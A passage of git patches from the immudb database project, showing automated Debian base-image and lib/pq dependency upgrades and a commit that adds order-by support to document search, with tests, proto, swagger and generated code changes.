debian:11.6-slim +FROM debian:11.7-slim LABEL org.opencontainers.image.authors="Codenotary Inc. " COPY --from=build /src/immudb /usr/sbin/immudb From 73064599e06a175c30dcfb5adbc52c68107ac9ba Mon Sep 17 00:00:00 2001 From: snyk-bot Date: Thu, 4 May 2023 00:19:00 +0000 Subject: [PATCH 0510/1062] fix: build/Dockerfile.full to reduce vulnerabilities The following vulnerabilities are fixed with an upgrade: - https://snyk.io/vuln/SNYK-DEBIAN11-NCURSES-2767191 - https://snyk.io/vuln/SNYK-DEBIAN11-NCURSES-2767191 - https://snyk.io/vuln/SNYK-DEBIAN11-NCURSES-5421197 - https://snyk.io/vuln/SNYK-DEBIAN11-NCURSES-5421197 - https://snyk.io/vuln/SNYK-DEBIAN11-NCURSES-5421197 --- build/Dockerfile.full | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/build/Dockerfile.full b/build/Dockerfile.full index df423d62ef..8701e1ef10 100644 --- a/build/Dockerfile.full +++ b/build/Dockerfile.full @@ -7,7 +7,7 @@ RUN rm -rf /src/webconsole/dist RUN GOOS=linux GOARCH=amd64 WEBCONSOLE=default make immuadmin-static immudb-static immuclient-static RUN mkdir /empty -FROM debian:11.6-slim as bullseye-slim +FROM debian:11.7-slim as bullseye-slim LABEL org.opencontainers.image.authors="Codenotary Inc. " COPY --from=build /src/immudb /usr/sbin/immudb From 1f07247bfded44c22e1706e1095521906b6f2276 Mon Sep 17 00:00:00 2001 From: snyk-bot Date: Thu, 4 May 2023 03:48:58 +0000 Subject: [PATCH 0511/1062] fix: build/Dockerfile.immuclient to reduce vulnerabilities The following vulnerabilities are fixed with an upgrade: - https://snyk.io/vuln/SNYK-DEBIAN11-NCURSES-2767191 - https://snyk.io/vuln/SNYK-DEBIAN11-NCURSES-2767191 - https://snyk.io/vuln/SNYK-DEBIAN11-NCURSES-5421197 - https://snyk.io/vuln/SNYK-DEBIAN11-NCURSES-5421197 - https://snyk.io/vuln/SNYK-DEBIAN11-NCURSES-5421197 --- build/Dockerfile.immuclient | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/build/Dockerfile.immuclient b/build/Dockerfile.immuclient index 04bcfeb7e6..054b881828 100644 --- a/build/Dockerfile.immuclient +++ b/build/Dockerfile.immuclient @@ -3,7 +3,7 @@ WORKDIR /src COPY . . RUN GOOS=linux GOARCH=amd64 make immuclient-static -FROM debian:11.6-slim as bullseye +FROM debian:11.7-slim as bullseye LABEL org.opencontainers.image.authors="Codenotary Inc. " COPY --from=build /src/immuclient /app/immuclient From 66e4883094a7c7cc2f60546ed4f1d272c45ba0cf Mon Sep 17 00:00:00 2001 From: snyk-bot Date: Thu, 4 May 2023 05:36:16 +0000 Subject: [PATCH 0512/1062] fix: build/Dockerfile.immuadmin to reduce vulnerabilities The following vulnerabilities are fixed with an upgrade: - https://snyk.io/vuln/SNYK-DEBIAN11-NCURSES-2767191 - https://snyk.io/vuln/SNYK-DEBIAN11-NCURSES-2767191 - https://snyk.io/vuln/SNYK-DEBIAN11-NCURSES-5421197 - https://snyk.io/vuln/SNYK-DEBIAN11-NCURSES-5421197 - https://snyk.io/vuln/SNYK-DEBIAN11-NCURSES-5421197 --- build/Dockerfile.immuadmin | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/build/Dockerfile.immuadmin b/build/Dockerfile.immuadmin index 56f840fa94..8cf6981f7b 100644 --- a/build/Dockerfile.immuadmin +++ b/build/Dockerfile.immuadmin @@ -3,7 +3,7 @@ WORKDIR /src COPY . . RUN GOOS=linux GOARCH=amd64 make immuadmin-static -FROM debian:11.6-slim as bullseye +FROM debian:11.7-slim as bullseye LABEL org.opencontainers.image.authors="Codenotary Inc. " COPY --from=build /src/immuadmin /usr/local/bin/immuadmin From 099ba4306dde884df7d045362be60b7b1d65f93a Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 27 Apr 2023 19:00:24 +0000 Subject: [PATCH 0513/1062] chore(deps): bump github.com/lib/pq from 1.10.7 to 1.10.9 Bumps [github.com/lib/pq](https://github.com/lib/pq) from 1.10.7 to 1.10.9. - [Release notes](https://github.com/lib/pq/releases) - [Commits](https://github.com/lib/pq/compare/v1.10.7...v1.10.9) --- updated-dependencies: - dependency-name: github.com/lib/pq dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] --- go.mod | 2 +- go.sum | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/go.mod b/go.mod index c00dba3050..9f729f1968 100644 --- a/go.mod +++ b/go.mod @@ -13,7 +13,7 @@ require ( github.com/influxdata/influxdb-client-go/v2 v2.12.3 github.com/jackc/pgx/v4 v4.16.1 github.com/jaswdr/faker v1.16.0 - github.com/lib/pq v1.10.7 + github.com/lib/pq v1.10.9 github.com/mattn/goveralls v0.0.11 github.com/o1egl/paseto v1.0.0 github.com/olekukonko/tablewriter v0.0.5 diff --git a/go.sum b/go.sum index f2ad9afb40..94366c0eee 100644 --- a/go.sum +++ b/go.sum @@ -776,8 +776,8 @@ github.com/lib/pq v1.0.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= github.com/lib/pq v1.1.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= github.com/lib/pq v1.2.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= github.com/lib/pq v1.10.2/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= -github.com/lib/pq v1.10.7 h1:p7ZhMD+KsSRozJr34udlUrhboJwWAgCg34+/ZZNvZZw= -github.com/lib/pq v1.10.7/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= +github.com/lib/pq v1.10.9 h1:YXG7RB+JIjhP29X+OtkiDnYaXQwpS4JEWq7dtCCRUEw= +github.com/lib/pq v1.10.9/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= github.com/lyft/protoc-gen-star v0.6.0/go.mod h1:TGAoBVkt8w7MPG72TrKIu85MIdXwDuzJYeZuUPFPNwA= github.com/lyft/protoc-gen-star v0.6.1/go.mod h1:TGAoBVkt8w7MPG72TrKIu85MIdXwDuzJYeZuUPFPNwA= github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= From 4931ec80087bae1cd936a86a8104acc9af3a9620 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Thu, 4 May 2023 13:48:49 +0530 Subject: [PATCH 0514/1062] chore: add order by clause in search --- embedded/document/engine.go | 27 +- embedded/document/engine_test.go | 100 +++- embedded/sql/stmt.go | 17 +- pkg/api/openapi/apidocs.swagger.json | 19 +- pkg/api/proto/documents.proto | 7 +- pkg/api/protomodel/authorization.pb.go | 54 +- pkg/api/protomodel/docs.md | 283 +++++----- pkg/api/protomodel/documents.pb.go | 753 ++++++++++++++----------- pkg/database/document_database.go | 2 +- 9 files changed, 736 insertions(+), 526 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index e4ad5d199d..32faa1d348 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -597,7 +597,7 @@ func (e *Engine) UpdateDocument(ctx context.Context, collectionName string, quer } } - queryCondition, err := e.generateSQLExpression(ctx, query, table) + queryCondition, err := generateSQLExpression(query, table) if err != nil { return 0, nil, 0, err } @@ -608,6 +608,7 @@ func (e *Engine) UpdateDocument(ctx context.Context, collectionName string, quer queryCondition, sql.NewInteger(1), nil, + nil, ) r, err := e.sqlEngine.QueryPreparedStmt(ctx, sqlTx, queryStmt, nil) @@ -663,7 +664,13 @@ func (e *Engine) UpdateDocument(ctx context.Context, collectionName string, quer return txID, docID, encDoc.Revision, err } -func (e *Engine) GetDocuments(ctx context.Context, collectionName string, query *protomodel.Query, offset int64) (DocumentReader, error) { +func (e *Engine) GetDocuments( + ctx context.Context, + collectionName string, + query *protomodel.Query, + offset int64, + orderExp *protomodel.OrderExpression, +) (DocumentReader, error) { sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { return nil, mayTranslateError(err) @@ -674,7 +681,7 @@ func (e *Engine) GetDocuments(ctx context.Context, collectionName string, query return nil, err } - queryCondition, err := e.generateSQLExpression(ctx, query, table) + queryCondition, err := generateSQLExpression(query, table) if err != nil { return nil, err } @@ -685,6 +692,7 @@ func (e *Engine) GetDocuments(ctx context.Context, collectionName string, query queryCondition, nil, sql.NewInteger(offset), + generateOrderByExpression(table, orderExp), ) // returning an open reader here, so the caller HAS to close it @@ -763,7 +771,7 @@ func (e *Engine) DocumentAudit(ctx context.Context, collectionName string, docum } // generateSQLExpression generates a boolean expression from a list of expressions. -func (d *Engine) generateSQLExpression(ctx context.Context, query *protomodel.Query, table *sql.Table) (sql.ValueExp, error) { +func generateSQLExpression(query *protomodel.Query, table *sql.Table) (sql.ValueExp, error) { if query == nil || len(query.Expressions) == 0 { return nil, nil } @@ -953,7 +961,7 @@ func (e *Engine) DeleteDocument(ctx context.Context, collectionName string, quer return err } - queryCondition, err := e.generateSQLExpression(ctx, query, table) + queryCondition, err := generateSQLExpression(query, table) if err != nil { return err } @@ -978,3 +986,12 @@ func (e *Engine) DeleteDocument(ctx context.Context, collectionName string, quer func (e *Engine) CopyCatalogToTx(ctx context.Context, tx *store.OngoingTx) error { return e.sqlEngine.CopyCatalogToTx(ctx, tx) } + +func generateOrderByExpression(table *sql.Table, orderBy *protomodel.OrderExpression) (ordCols []*sql.OrdCol) { + if orderBy == nil { + return nil + } + + ordCols = append(ordCols, sql.NewOrdCol(table.Name(), orderBy.Field, orderBy.Desc)) + return ordCols +} diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index d861ff9d7c..905e2ab02c 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -168,7 +168,7 @@ func TestGetDocument(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, query, 0) + reader, err := engine.GetDocuments(ctx, collectionName, query, 0, nil) require.NoError(t, err) defer reader.Close() @@ -293,7 +293,7 @@ func TestQueryDocuments(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, query, 0) + reader, err := engine.GetDocuments(ctx, collectionName, query, 0, nil) require.NoError(t, err) defer reader.Close() @@ -317,7 +317,7 @@ func TestQueryDocuments(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, query, 0) + reader, err := engine.GetDocuments(ctx, collectionName, query, 0, nil) require.NoError(t, err) defer reader.Close() @@ -341,7 +341,7 @@ func TestQueryDocuments(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, query, 0) + reader, err := engine.GetDocuments(ctx, collectionName, query, 0, nil) require.NoError(t, err) defer reader.Close() @@ -365,7 +365,7 @@ func TestQueryDocuments(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, query, 0) + reader, err := engine.GetDocuments(ctx, collectionName, query, 0, nil) require.NoError(t, err) defer reader.Close() @@ -389,7 +389,7 @@ func TestQueryDocuments(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, query, 0) + reader, err := engine.GetDocuments(ctx, collectionName, query, 0, nil) require.NoError(t, err) defer reader.Close() @@ -418,7 +418,7 @@ func TestQueryDocuments(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, query, 0) + reader, err := engine.GetDocuments(ctx, collectionName, query, 0, nil) require.NoError(t, err) defer reader.Close() @@ -442,7 +442,7 @@ func TestQueryDocuments(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, query, 0) + reader, err := engine.GetDocuments(ctx, collectionName, query, 0, nil) require.NoError(t, err) defer reader.Close() @@ -471,7 +471,7 @@ func TestQueryDocuments(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, query, 0) + reader, err := engine.GetDocuments(ctx, collectionName, query, 0, nil) require.NoError(t, err) defer reader.Close() @@ -564,7 +564,7 @@ func TestDocumentUpdate(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, query, 0) + reader, err := engine.GetDocuments(ctx, collectionName, query, 0, nil) require.NoError(t, err) defer reader.Close() @@ -673,7 +673,7 @@ func TestFloatSupport(t *testing.T) { } // check if document is updated - reader, err := engine.GetDocuments(ctx, collectionName, query, 0) + reader, err := engine.GetDocuments(ctx, collectionName, query, 0, nil) require.NoError(t, err) defer reader.Close() @@ -874,7 +874,7 @@ func TestBulkInsert(t *testing.T) { require.Equal(t, uint64(2), txID) require.Len(t, docIDs, 10) - reader, err := engine.GetDocuments(ctx, collectionName, nil, 0) + reader, err := engine.GetDocuments(ctx, collectionName, nil, 0, nil) require.NoError(t, err) defer reader.Close() @@ -935,7 +935,7 @@ func TestPaginationOnReader(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, query, 0) + reader, err := engine.GetDocuments(ctx, collectionName, query, 0, nil) require.NoError(t, err) defer reader.Close() @@ -1002,7 +1002,7 @@ func TestDeleteDocument(t *testing.T) { }, } - reader, err := engine.GetDocuments(ctx, collectionName, query, 0) + reader, err := engine.GetDocuments(ctx, collectionName, query, 0, nil) require.NoError(t, err) defer reader.Close() @@ -1015,8 +1015,7 @@ func TestDeleteDocument(t *testing.T) { err = engine.sqlEngine.GetStore().WaitForIndexingUpto(ctx, engine.sqlEngine.GetStore().LastCommittedTxID()) require.NoError(t, err) - - reader, err = engine.GetDocuments(ctx, collectionName, query, 0) + reader, err = engine.GetDocuments(ctx, collectionName, query, 0, nil) require.NoError(t, err) defer reader.Close() @@ -1058,3 +1057,72 @@ func TestGetCollection(t *testing.T) { require.Equal(t, key, collection.Fields[i].Name) } } + +func TestGetDocuments_WithOrderBy(t *testing.T) { + ctx := context.Background() + engine := makeEngine(t) + // create collection + collectionName := "mycollection" + err := engine.CreateCollection( + context.Background(), + collectionName, + "", + []*protomodel.Field{ + {Name: "number", Type: protomodel.FieldType_DOUBLE}, + }, + []*protomodel.Index{ + {Fields: []string{"number"}}, + }, + ) + require.NoError(t, err) + + noOfDocs := 5 + // add documents to collection + for i := 1; i <= noOfDocs; i++ { + _, _, err = engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "number": { + Kind: &structpb.Value_NumberValue{NumberValue: float64(i)}, + }, + }, + }) + require.NoError(t, err) + } + + query := &protomodel.Query{ + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "number", + Operator: protomodel.ComparisonOperator(sql.GT), // EQ + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 0}, + }, + }, + }, + }, + }, + } + + t.Run("order by single field", func(t *testing.T) { + orderBy := &protomodel.OrderExpression{ + Field: "number", + Desc: true, + } + + reader, err := engine.GetDocuments(ctx, collectionName, query, 0, orderBy) + require.NoError(t, err) + defer reader.Close() + docs, err := reader.ReadN(ctx, noOfDocs) + // require.NoError(t, err) + require.Equal(t, 5, len(docs)) + + i := noOfDocs + for _, doc := range docs { + require.Equal(t, float64(i), doc.Document.Fields["number"].GetNumberValue()) + i-- + } + }) + +} diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 048cbccb88..7a368c014f 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -2138,13 +2138,21 @@ type DataSource interface { Alias() string } -func NewSelectStmt(selectors []Selector, table string, where ValueExp, limit ValueExp, offset ValueExp) *SelectStmt { +func NewSelectStmt( + selectors []Selector, + table string, + where ValueExp, + limit ValueExp, + offset ValueExp, + orderBy []*OrdCol, +) *SelectStmt { return &SelectStmt{ selectors: selectors, ds: newTableRef(table, ""), where: where, limit: limit, offset: offset, + orderBy: orderBy, } } @@ -2661,6 +2669,13 @@ type JoinSpec struct { indexOn []string } +func NewOrdCol(table string, col string, descOrder bool) *OrdCol { + return &OrdCol{ + sel: NewColSelector(table, col), + descOrder: descOrder, + } +} + type OrdCol struct { sel *ColSelector descOrder bool diff --git a/pkg/api/openapi/apidocs.swagger.json b/pkg/api/openapi/apidocs.swagger.json index ec4a434003..4cbcab4435 100644 --- a/pkg/api/openapi/apidocs.swagger.json +++ b/pkg/api/openapi/apidocs.swagger.json @@ -864,8 +864,8 @@ "query": { "$ref": "#/definitions/modelQuery" }, - "desc": { - "type": "boolean" + "orderBy": { + "$ref": "#/definitions/modelOrderExpression" }, "page": { "type": "integer", @@ -941,7 +941,9 @@ "operator": { "$ref": "#/definitions/modelComparisonOperator" }, - "value": {} + "value": { + "type": "object" + } } }, "modelFieldType": { @@ -1011,6 +1013,17 @@ "modelKeepAliveResponse": { "type": "object" }, + "modelOrderExpression": { + "type": "object", + "properties": { + "field": { + "type": "string" + }, + "desc": { + "type": "boolean" + } + } + }, "modelQuery": { "type": "object", "properties": { diff --git a/pkg/api/proto/documents.proto b/pkg/api/proto/documents.proto index d3b855a591..ee5775c322 100644 --- a/pkg/api/proto/documents.proto +++ b/pkg/api/proto/documents.proto @@ -159,11 +159,16 @@ message DocumentSearchRequest { string searchID = 1; string collection = 2; Query query = 3; - bool desc = 4; + OrderExpression orderBy = 4; uint32 page = 5; uint32 perPage = 6; } +message OrderExpression { + string field = 1; + bool desc = 2; +} + message Query { repeated QueryExpression expressions = 1; } diff --git a/pkg/api/protomodel/authorization.pb.go b/pkg/api/protomodel/authorization.pb.go index 0a2889b9fd..9dfbdaa997 100644 --- a/pkg/api/protomodel/authorization.pb.go +++ b/pkg/api/protomodel/authorization.pb.go @@ -15,7 +15,7 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.28.1 +// protoc-gen-go v1.30.0 // protoc v3.21.12 // source: authorization.proto @@ -363,40 +363,40 @@ var file_authorization_proto_rawDesc = []byte{ 0x64, 0x65, 0x6c, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3a, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x20, 0x22, 0x1b, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x6f, 0x70, 0x65, 0x6e, 0x3a, 0x01, - 0x2a, 0x92, 0x41, 0x11, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x62, 0x00, 0x12, 0x8b, 0x01, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, + 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3a, 0x92, 0x41, 0x11, 0x0a, 0x0d, + 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x62, 0x00, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x20, 0x3a, 0x01, 0x2a, 0x22, 0x1b, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, + 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x2f, 0x6f, 0x70, 0x65, 0x6e, 0x12, 0x8b, 0x01, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x25, 0x22, 0x20, 0x2f, 0x61, - 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x6b, 0x65, 0x65, 0x70, 0x61, 0x6c, 0x69, 0x76, 0x65, 0x3a, 0x01, - 0x2a, 0x92, 0x41, 0x0f, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x12, 0x90, 0x01, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3d, 0x92, 0x41, 0x0f, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, + 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x25, 0x3a, 0x01, + 0x2a, 0x22, 0x20, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x6b, 0x65, 0x65, 0x70, 0x61, 0x6c, + 0x69, 0x76, 0x65, 0x12, 0x90, 0x01, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x39, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x21, 0x22, 0x1c, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x63, 0x6c, 0x6f, 0x73, - 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0f, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, - 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x42, 0xad, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, - 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, - 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, 0x41, 0x79, 0x12, 0x27, 0x0a, - 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, - 0x20, 0x76, 0x32, 0x12, 0x11, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, - 0x33, 0x0a, 0x31, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, - 0x23, 0x08, 0x02, 0x12, 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, - 0x6e, 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x69, 0x64, 0x20, 0x02, 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, - 0x41, 0x75, 0x74, 0x68, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x39, 0x92, 0x41, 0x0f, + 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x21, 0x3a, 0x01, 0x2a, 0x22, 0x1c, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, + 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x2f, 0x63, 0x6c, 0x6f, 0x73, 0x65, 0x42, 0xad, 0x01, 0x92, 0x41, 0x79, 0x12, 0x27, 0x0a, 0x12, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, + 0x76, 0x32, 0x12, 0x11, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, + 0x0a, 0x31, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, + 0x08, 0x02, 0x12, 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, + 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, + 0x64, 0x20, 0x02, 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, + 0x75, 0x74, 0x68, 0x12, 0x00, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, + 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( diff --git a/pkg/api/protomodel/docs.md b/pkg/api/protomodel/docs.md index 286c6d72a3..17e4fcd20e 100644 --- a/pkg/api/protomodel/docs.md +++ b/pkg/api/protomodel/docs.md @@ -3,70 +3,71 @@ ## Table of Contents -- [authorization.proto](#authorization.proto) - - [CloseSessionRequest](#immudb.model.CloseSessionRequest) - - [CloseSessionResponse](#immudb.model.CloseSessionResponse) - - [KeepAliveRequest](#immudb.model.KeepAliveRequest) - - [KeepAliveResponse](#immudb.model.KeepAliveResponse) - - [OpenSessionRequest](#immudb.model.OpenSessionRequest) - - [OpenSessionResponse](#immudb.model.OpenSessionResponse) +- [authorization.proto](#authorization-proto) + - [CloseSessionRequest](#immudb-model-CloseSessionRequest) + - [CloseSessionResponse](#immudb-model-CloseSessionResponse) + - [KeepAliveRequest](#immudb-model-KeepAliveRequest) + - [KeepAliveResponse](#immudb-model-KeepAliveResponse) + - [OpenSessionRequest](#immudb-model-OpenSessionRequest) + - 